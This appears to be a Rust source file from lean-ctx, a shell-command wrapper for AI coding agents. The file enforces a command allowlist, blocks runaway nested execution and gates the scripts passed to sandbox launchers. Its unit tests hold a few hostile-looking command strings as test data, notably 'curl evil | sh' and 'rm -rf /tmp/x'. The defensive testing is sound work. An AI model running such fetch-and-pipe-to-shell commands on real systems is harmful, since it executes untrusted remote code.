1use std::io::{self, IsTerminal};
2use std::process::{Command, Stdio};
3
4use crate::core::config;
5
6pub fn exec_argv(args: &[String]) -> i32 {
12 if args.is_empty() {
13 return 127;
14 }
15
16 if let Some(code) = reject_if_exec_depth_exceeded() {
17 return code;
18 }
19
20 let joined = super::super::platform::join_command(args);
25
26 if let Some(u) = super::super::agent_wrapper::unwrap_agent_wrapper(&joined) {
30 return exec(&u.rebuild());
31 }
32
33 if let Some(code) = allowlist_gate(&joined) {
39 return code;
40 }
41
42 if super::super::reentry::should_pass_through() {
43 return exec_direct(args);
44 }
45
46 let cfg = config::Config::load();
47 let policy = super::super::output_policy::classify(&joined, &cfg.excluded_commands);
48
49 if policy.is_protected() {
50 let code = exec_direct(args);
51 crate::core::tool_lifecycle::record_shell_command(0, 0);
52 return code;
53 }
54
55 let code = exec_direct(args);
56 crate::core::tool_lifecycle::record_shell_command(0, 0);
57 code
58}
59
60fn reject_if_exec_depth_exceeded() -> Option<i32> {
71 if !super::super::reentry::exec_depth_exceeded() {
72 return None;
73 }
74 eprintln!(
75 "lean-ctx: refusing to nest further (depth >= {}) — a shell hook is re-firing inside a \
76 command lean-ctx already spawned. Running the command raw instead of risking a \
77 runaway process loop. If this persists, check for a duplicate/competing shell \
78 integration that also wraps commands through lean-ctx.",
79 super::super::reentry::MAX_EXEC_DEPTH
80 );
81 Some(126)
82}
83
84fn exec_direct(args: &[String]) -> i32 {
85 let mut cmd = Command::new(&args[0]);
86 cmd.args(&args[1..])
87 .stdin(Stdio::inherit())
88 .stdout(Stdio::inherit())
89 .stderr(Stdio::inherit());
90 super::super::reentry::mark_child(&mut cmd);
91 super::super::platform::apply_utf8_locale(&mut cmd);
92 let status = cmd.status();
93
94 match status {
95 Ok(s) => s.code().unwrap_or(1),
96 Err(e) => {
97 tracing::error!("lean-ctx: failed to execute: {e}");
98 127
99 }
100 }
101}
102
103fn allowlist_must_enforce() -> bool {
116 let hook_child = crate::core::runtime_flags::hook_child_enabled();
117 let warn_only = std::env::var("LEAN_CTX_ALLOWLIST_WARN_ONLY")
118 .is_ok_and(|v| v == "1" || v.eq_ignore_ascii_case("true"));
119 allowlist_must_enforce_inner(hook_child, warn_only, io::stderr().is_terminal())
120}
121
122fn allowlist_must_enforce_inner(hook_child: bool, warn_only: bool, stderr_is_tty: bool) -> bool {
125 if hook_child {
126 return true;
127 }
128 if warn_only {
129 return false;
130 }
131 !stderr_is_tty
132}
133
134fn stdout_is_regular_file() -> bool {
147 #[cfg(unix)]
148 {
149 use std::os::unix::io::{AsRawFd, FromRawFd};
150 let fd = io::stdout().as_raw_fd();
151 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_fd(fd) });
154 file.metadata().is_ok_and(|m| m.is_file())
155 }
156 #[cfg(windows)]
157 {
158 use std::os::windows::io::{AsRawHandle, FromRawHandle};
159 let handle = io::stdout().as_raw_handle();
160 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_handle(handle) });
163 file.metadata().is_ok_and(|m| m.is_file())
164 }
165 #[cfg(not(any(unix, windows)))]
166 {
167 false
168 }
169}
170
171fn command_has_file_redirect(cmd: &str) -> bool {
175 let bytes = cmd.as_bytes();
176 let len = bytes.len();
177 let mut i = 0;
178 let mut in_single_quote = false;
179 let mut in_double_quote = false;
180
181 while i < len {
182 let c = bytes[i];
183 if c == b'\\' && !in_single_quote {
184 i += 2;
185 continue;
186 }
187 if c == b'\'' && !in_double_quote {
188 in_single_quote = !in_single_quote;
189 } else if c == b'"' && !in_single_quote {
190 in_double_quote = !in_double_quote;
191 } else if c == b'>' && !in_single_quote && !in_double_quote {
192 if i > 0 && bytes[i - 1] == b'2' {
193 i += 1;
194 continue;
195 }
196 let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
197 i + 2
198 } else {
199 i + 1
200 };
201 let target: String = cmd[target_start..]
202 .trim_start()
203 .chars()
204 .take_while(|c| !c.is_whitespace())
205 .collect();
206 if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
207 i += 1;
208 continue;
209 }
210 if let Some(fd) = target.strip_prefix('&')
211 && !fd.is_empty()
212 && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
213 {
214 i += 1;
215 continue;
216 }
217 if !target.is_empty() {
218 return true;
219 }
220 }
221 i += 1;
222 }
223 false
224}
225
226fn allowlist_gate(command: &str) -> Option<i32> {
234 if let Err(msg) = crate::core::shell_allowlist::check_shell_allowlist(command) {
235 if allowlist_must_enforce() {
236 eprintln!("{msg}");
237 eprintln!(
238 "lean-ctx: command blocked by shell allowlist. \
239 Allow it permanently: lean-ctx allow <cmd> — or set \
240 LEAN_CTX_ALLOWLIST_WARN_ONLY=1 to downgrade to a warning."
241 );
242 return Some(126);
243 }
244 if io::stderr().is_terminal() {
249 tracing::debug!("[CLI] Command would be blocked in MCP mode: {msg}");
250 } else {
251 tracing::warn!("[CLI] Command would be blocked in MCP mode: {msg}");
252 }
253 }
254 None
255}
256
257pub fn exec(command: &str) -> i32 {
258 if let Some(code) = reject_if_exec_depth_exceeded() {
259 return code;
260 }
261
262 if let Some(argv) = super::super::agent_wrapper::os_sandbox_launcher_argv(command) {
271 if let Some(code) = allowlist_gate(&sandbox_launcher_gated_command(&argv)) {
272 return code;
273 }
274 return exec_sandbox_launcher(&argv);
275 }
276
277 let unwrapped = super::super::agent_wrapper::unwrap_agent_wrapper(command).map(|u| u.rebuild());
283 let mut collapsed_nested = false;
284 let collapsed;
285 let command = unwrapped.as_deref().unwrap_or(command);
286 let command = if let Some(c) = collapse_nested_lean_ctx_exec(command) {
287 collapsed_nested = true;
288 collapsed = c;
289 collapsed.as_str()
290 } else {
291 command
292 };
293
294 if let Some(code) = allowlist_gate(command) {
295 return code;
296 }
297
298 let (shell, shell_flag) = super::super::platform::shell_and_flag();
299 let command = crate::tools::ctx_shell::normalize_command_for_shell(command);
300 let command = command.as_str();
307
308 if super::super::reentry::is_disabled() {
309 return exec_inherit(command, &shell, &shell_flag);
310 }
311 if should_delegate_wrapped_to_shell_default(collapsed_nested) {
312 return exec_shell_default(command, &shell, &shell_flag);
313 }
314
315 let cfg = config::Config::load();
316 let force_compress = crate::core::runtime_flags::compress_enabled();
317 let raw_mode = crate::core::runtime_flags::raw_enabled();
318
319 if raw_mode {
320 return exec_inherit_tracked(command, &shell, &shell_flag);
321 }
322
323 let policy = super::super::output_policy::classify(command, &cfg.excluded_commands);
324
325 if policy == super::super::output_policy::OutputPolicy::Passthrough {
327 return exec_inherit_tracked(command, &shell, &shell_flag);
328 }
329
330 if policy == super::super::output_policy::OutputPolicy::Verbatim && !force_compress {
334 return exec_inherit_tracked(command, &shell, &shell_flag);
335 }
336
337 if !force_compress {
338 if io::stdout().is_terminal() {
339 return exec_inherit_tracked(command, &shell, &shell_flag);
340 }
341 let code = exec_inherit(command, &shell, &shell_flag);
342 crate::core::tool_lifecycle::record_shell_command(0, 0);
343 return code;
344 }
345
346 if stdout_is_regular_file() {
355 return exec_inherit_tracked(command, &shell, &shell_flag);
356 }
357
358 if command_has_file_redirect(command) {
365 return exec_inherit_tracked(command, &shell, &shell_flag);
366 }
367
368 super::super::pipeline::exec_buffered(command, &shell, &shell_flag, &cfg)
369}
370
371fn collapse_nested_lean_ctx_exec(command: &str) -> Option<String> {
372 let mut current = command.trim().to_string();
373 let mut changed = false;
374
375 while let Some(next) = strip_one_lean_ctx_exec(¤t) {
376 if next == current {
377 break;
378 }
379 current = next;
380 changed = true;
381 }
382
383 changed.then_some(current)
384}
385
386fn should_delegate_wrapped_to_shell_default(collapsed_nested: bool) -> bool {
387 super::super::reentry::is_wrapped() && !collapsed_nested
391}
392
393fn strip_one_lean_ctx_exec(command: &str) -> Option<String> {
394 let words = split_simple_shell_words(command)?;
395 if words.len() < 3 || !is_lean_ctx_bin(&words[0].value) {
396 return None;
397 }
398 if words[1].value != "-c" && words[1].value != "exec" {
399 return None;
400 }
401 if words[2..].iter().any(|w| {
402 matches!(
403 w.value.as_str(),
404 "|" | "||" | "&" | "&&" | ";" | "<" | ">" | ">>"
405 )
406 }) {
407 return None;
408 }
409 if words.len() == 3 {
410 Some(words[2].value.trim().to_string())
411 } else {
412 Some(command[words[2].start..].trim().to_string())
413 }
414}
415
416fn is_lean_ctx_bin(word: &str) -> bool {
417 std::path::Path::new(word)
418 .file_name()
419 .and_then(|name| name.to_str())
420 .is_some_and(|name| name == "lean-ctx" || name == "lean-ctx.exe")
421}
422
423struct SimpleShellWord {
424 value: String,
425 start: usize,
426}
427
428fn split_simple_shell_words(command: &str) -> Option<Vec<SimpleShellWord>> {
429 let mut words = Vec::new();
430 let mut current = String::new();
431 let mut current_start: Option<usize> = None;
432 let mut chars = command.char_indices().peekable();
433 let mut quote: Option<char> = None;
434
435 while let Some((idx, ch)) = chars.next() {
436 match quote {
437 Some('\'') if ch == '\'' => quote = None,
438 Some('"') if ch == '"' => quote = None,
439 None if ch == '\'' || ch == '"' => {
440 current_start.get_or_insert(idx);
441 quote = Some(ch);
442 }
443 Some('"') | None if ch == '\\' => {
444 current_start.get_or_insert(idx);
445 if let Some((_, next)) = chars.next() {
446 current.push(next);
447 }
448 }
449 None if ch.is_whitespace() => {
450 if let Some(start) = current_start.take() {
451 words.push(SimpleShellWord {
452 value: std::mem::take(&mut current),
453 start,
454 });
455 }
456 }
457 Some(_) | None => {
458 current_start.get_or_insert(idx);
459 current.push(ch);
460 }
461 }
462 }
463
464 if quote.is_some() {
465 return None;
466 }
467 if let Some(start) = current_start {
468 words.push(SimpleShellWord {
469 value: current,
470 start,
471 });
472 }
473 (!words.is_empty()).then_some(words)
474}
475
476fn sandbox_launcher_gated_command(argv: &[String]) -> String {
481 let script = argv.last().map_or("", String::as_str);
482 super::super::agent_wrapper::unwrap_agent_wrapper(script)
483 .map_or_else(|| script.to_string(), |u| u.rebuild())
484}
485
486fn exec_sandbox_launcher(argv: &[String]) -> i32 {
494 match sandbox_launcher_command(argv).status() {
495 Ok(s) => s.code().unwrap_or(1),
496 Err(e) => {
497 tracing::error!("lean-ctx: failed to execute sandbox launcher: {e}");
498 127
499 }
500 }
501}
502
503fn sandbox_launcher_command(argv: &[String]) -> Command {
504 let mut cmd = Command::new(&argv[0]);
505 cmd.args(&argv[1..])
506 .stdin(Stdio::inherit())
507 .stdout(Stdio::inherit())
508 .stderr(Stdio::inherit());
509 super::super::reentry::clear_shell_default_markers(&mut cmd);
510 super::super::reentry::stamp_exec_depth(&mut cmd);
511 super::super::platform::apply_utf8_locale(&mut cmd);
512 cmd
513}
514
515fn exec_inherit(command: &str, shell: &str, shell_flag: &str) -> i32 {
516 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
519 let mut cmd = Command::new(shell);
520 cmd.arg(shell_flag)
521 .arg(&spawn_command)
522 .stdin(Stdio::inherit())
523 .stdout(Stdio::inherit())
524 .stderr(Stdio::inherit());
525 super::super::reentry::mark_child(&mut cmd);
526 super::super::platform::apply_utf8_locale(&mut cmd);
527 super::super::platform::apply_profile_free_env(&mut cmd);
528 let status = cmd.status();
529
530 match status {
531 Ok(s) => s.code().unwrap_or(1),
532 Err(e) => {
533 tracing::error!("lean-ctx: failed to execute: {e}");
534 127
535 }
536 }
537}
538
539fn exec_shell_default(command: &str, shell: &str, shell_flag: &str) -> i32 {
540 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
541 let mut cmd = Command::new(shell);
542 cmd.arg(shell_flag)
543 .arg(&spawn_command)
544 .stdin(Stdio::inherit())
545 .stdout(Stdio::inherit())
546 .stderr(Stdio::inherit());
547 super::super::reentry::clear_shell_default_markers(&mut cmd);
548 super::super::reentry::stamp_exec_depth(&mut cmd);
549 super::super::platform::apply_utf8_locale(&mut cmd);
550 super::super::platform::apply_profile_free_env(&mut cmd);
551 let status = cmd.status();
552
553 match status {
554 Ok(s) => s.code().unwrap_or(1),
555 Err(e) => {
556 eprintln!("lean-ctx: failed to execute '{command}': {e}");
557 127
558 }
559 }
560}
561
562fn exec_inherit_tracked(command: &str, shell: &str, shell_flag: &str) -> i32 {
563 let code = exec_inherit(command, shell, shell_flag);
564 crate::core::tool_lifecycle::record_shell_command(0, 0);
565 code
566}
567
568pub(crate) const STDERR_LABEL: &str = "--- stderr ---";
572
573pub(crate) fn combine_streams(stdout: &str, stderr: &str, exit_code: i32) -> String {
577 match (stdout.is_empty(), stderr.is_empty()) {
578 (_, true) => stdout.to_string(),
579 (true, false) => stderr.to_string(),
580 (false, false) if exit_code != 0 => format!("{stdout}\n{STDERR_LABEL}\n{stderr}"),
581 (false, false) => format!("{stdout}\n{stderr}"),
582 }
583}
584
585#[cfg(test)]
588mod nested_lean_ctx_exec_tests;
589
590#[cfg(test)]
591mod exec_tests {
592 #[test]
593 fn combine_streams_labels_stderr_on_failure() {
594 let out = super::combine_streams("build ok", "linker: undefined symbol", 1);
595 assert_eq!(
596 out,
597 format!(
598 "build ok\n{}\nlinker: undefined symbol",
599 super::STDERR_LABEL
600 )
601 );
602 }
603
604 #[test]
605 fn combine_streams_plain_join_on_success() {
606 let out = super::combine_streams("step 1", "warning: noop", 0);
607 assert_eq!(out, "step 1\nwarning: noop");
608 assert!(!out.contains(super::STDERR_LABEL));
609 }
610
611 #[test]
612 fn combine_streams_single_stream_is_unchanged() {
613 assert_eq!(super::combine_streams("only stdout", "", 1), "only stdout");
614 assert_eq!(super::combine_streams("", "only stderr", 1), "only stderr");
615 }
616
617 #[test]
618 fn exec_direct_runs_true() {
619 let code = super::exec_direct(&["true".to_string()]);
620 assert_eq!(code, 0);
621 }
622
623 #[test]
624 fn exec_direct_runs_false() {
625 let code = super::exec_direct(&["false".to_string()]);
626 assert_ne!(code, 0);
627 }
628
629 #[test]
630 fn exec_direct_preserves_args_with_special_chars() {
631 let code = super::exec_direct(&[
632 "echo".to_string(),
633 "hello world".to_string(),
634 "it's here".to_string(),
635 "a \"quoted\" thing".to_string(),
636 ]);
637 assert_eq!(code, 0);
638 }
639
640 #[test]
641 fn exec_direct_nonexistent_returns_127() {
642 let code = super::exec_direct(&["__nonexistent_binary_12345__".to_string()]);
643 assert_eq!(code, 127);
644 }
645
646 #[test]
647 fn exec_argv_empty_returns_127() {
648 let code = super::exec_argv(&[]);
649 assert_eq!(code, 127);
650 }
651
652 #[test]
653 fn exec_argv_runs_simple_command() {
654 let _lock = crate::core::data_dir::test_env_lock();
655 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
656 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
657 let code = super::exec_argv(&["true".to_string()]);
658 assert_eq!(code, 0);
659 }
660
661 #[test]
662 fn exec_argv_passes_through_when_disabled() {
663 let _lock = crate::core::data_dir::test_env_lock();
664 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
665 crate::test_env::set_var("LEAN_CTX_DISABLED", "1");
666 let code = super::exec_argv(&["true".to_string()]);
667 crate::test_env::remove_var("LEAN_CTX_DISABLED");
668 assert_eq!(code, 0);
669 }
670
671 #[test]
675 fn exec_argv_enforces_allowlist_for_disallowed_command() {
676 let _lock = crate::core::data_dir::test_env_lock();
677 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
678 crate::test_env::remove_var("LEAN_CTX_DISABLED");
679 crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
680 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
682 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
683
684 let code = super::exec_argv(&["xxd".to_string()]);
687
688 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
689 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
690
691 assert_eq!(
692 code, 126,
693 "non-allowlisted command must be blocked on the -t track path"
694 );
695 }
696
697 #[test]
698 fn exec_argv_allows_allowlisted_command() {
699 let _lock = crate::core::data_dir::test_env_lock();
700 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
701 crate::test_env::remove_var("LEAN_CTX_DISABLED");
702 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
703 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
704
705 let code = super::exec_argv(&["true".to_string()]);
706
707 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
708 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
709
710 assert_eq!(code, 0, "allowlisted command must run on the -t track path");
711 }
712 #[test]
714 fn allowlist_enforces_in_hook_child_mode() {
715 assert!(super::allowlist_must_enforce_inner(true, false, true));
717 assert!(super::allowlist_must_enforce_inner(true, true, true));
718 }
719
720 #[test]
721 fn allowlist_enforces_for_non_interactive_callers() {
722 assert!(super::allowlist_must_enforce_inner(false, false, false));
724 }
725
726 #[test]
727 fn allowlist_warns_for_interactive_humans() {
728 assert!(!super::allowlist_must_enforce_inner(false, false, true));
730 }
731
732 #[test]
733 fn allowlist_warn_only_opt_out_downgrades_non_interactive() {
734 assert!(!super::allowlist_must_enforce_inner(false, true, false));
736 assert!(super::allowlist_must_enforce_inner(true, true, false));
737 }
738
739 #[test]
742 fn redirect_to_file_detected() {
743 assert!(super::command_has_file_redirect("git show HEAD:f > out.md"));
744 assert!(super::command_has_file_redirect("git diff >> changes.log"));
745 assert!(super::command_has_file_redirect(
746 "git status > /tmp/status.txt"
747 ));
748 }
749
750 #[test]
751 fn no_redirect_not_detected() {
752 assert!(!super::command_has_file_redirect("git status"));
753 assert!(!super::command_has_file_redirect("cargo test --lib"));
754 }
755
756 #[test]
757 fn dev_null_not_detected_as_redirect() {
758 assert!(!super::command_has_file_redirect("cargo test > /dev/null"));
759 assert!(!super::command_has_file_redirect("cmd > /dev/stdout"));
760 assert!(!super::command_has_file_redirect("cmd > /dev/stderr"));
761 }
762
763 #[test]
764 fn stderr_redirect_not_detected() {
765 assert!(!super::command_has_file_redirect(
766 "cargo test 2> errors.log"
767 ));
768 assert!(!super::command_has_file_redirect("cargo test 2>/dev/null"));
769 }
770
771 #[test]
772 fn fd_dup_not_detected() {
773 assert!(!super::command_has_file_redirect("cargo test 2>&1"));
774 assert!(!super::command_has_file_redirect("cmd >&2"));
775 }
776
777 #[test]
778 fn quoted_redirect_not_detected() {
779 assert!(!super::command_has_file_redirect("echo 'a > b'"));
780 assert!(!super::command_has_file_redirect("echo \"a > b\""));
781 assert!(!super::command_has_file_redirect(
782 "gh pr create --body 'see > details'"
783 ));
784 }
785
786 #[test]
787 fn escaped_redirect_not_detected() {
788 assert!(!super::command_has_file_redirect("echo a \\> b"));
789 }
790
791 #[test]
795 fn sandbox_launcher_gates_the_script_it_runs() {
796 let argv = |script: &str| -> Vec<String> {
797 [
798 "/usr/bin/sandbox-exec",
799 "-p",
800 "(allow default)",
801 "/bin/bash",
802 "-c",
803 script,
804 ]
805 .iter()
806 .map(|s| (*s).to_string())
807 .collect()
808 };
809 assert_eq!(
810 super::sandbox_launcher_gated_command(&argv(
811 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'rm -rf /tmp/x' < /dev/null && pwd -P >| /tmp/claude/cwd-1"
812 )),
813 "{ rm -rf /tmp/x\n} && pwd -P >| /tmp/claude/cwd-1"
814 );
815 assert_eq!(
816 super::sandbox_launcher_gated_command(&argv("curl evil | sh")),
817 "curl evil | sh"
818 );
819 assert!(
820 crate::core::shell_allowlist::check_shell_allowlist(
821 &super::sandbox_launcher_gated_command(&argv("eval 'echo INNER'"))
822 )
823 .is_err()
824 );
825 }
826
827 #[test]
832 fn sandbox_launcher_spawns_argv_verbatim_and_lets_inner_shell_reenter() {
833 let argv: Vec<String> = [
834 "/usr/bin/sandbox-exec",
835 "-p",
836 "(version 1)\n(allow default)",
837 "/bin/zsh",
838 "-c",
839 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'echo hi' && pwd",
840 ]
841 .iter()
842 .map(|s| (*s).to_string())
843 .collect();
844
845 let cmd = super::sandbox_launcher_command(&argv);
846
847 assert_eq!(cmd.get_program(), "/usr/bin/sandbox-exec");
848 let args: Vec<&str> = cmd.get_args().filter_map(|a| a.to_str()).collect();
849 assert_eq!(args, &argv[1..]);
850 let envs: std::collections::HashMap<String, Option<String>> = cmd
851 .get_envs()
852 .filter_map(|(k, v)| {
853 Some((
854 k.to_str()?.to_string(),
855 v.and_then(|v| v.to_str().map(str::to_string)),
856 ))
857 })
858 .collect();
859 assert_eq!(envs.get("LEAN_CTX_ACTIVE"), Some(&None));
860 assert_eq!(envs.get("LEAN_CTX_WRAPPED"), Some(&None));
861 assert!(
862 envs.get("LEAN_CTX_EXEC_DEPTH")
863 .and_then(|v| v.as_deref())
864 .is_some_and(|d| d.parse::<u32>().is_ok_and(|d| d >= 1)),
865 "{envs:?}"
866 );
867 }
868}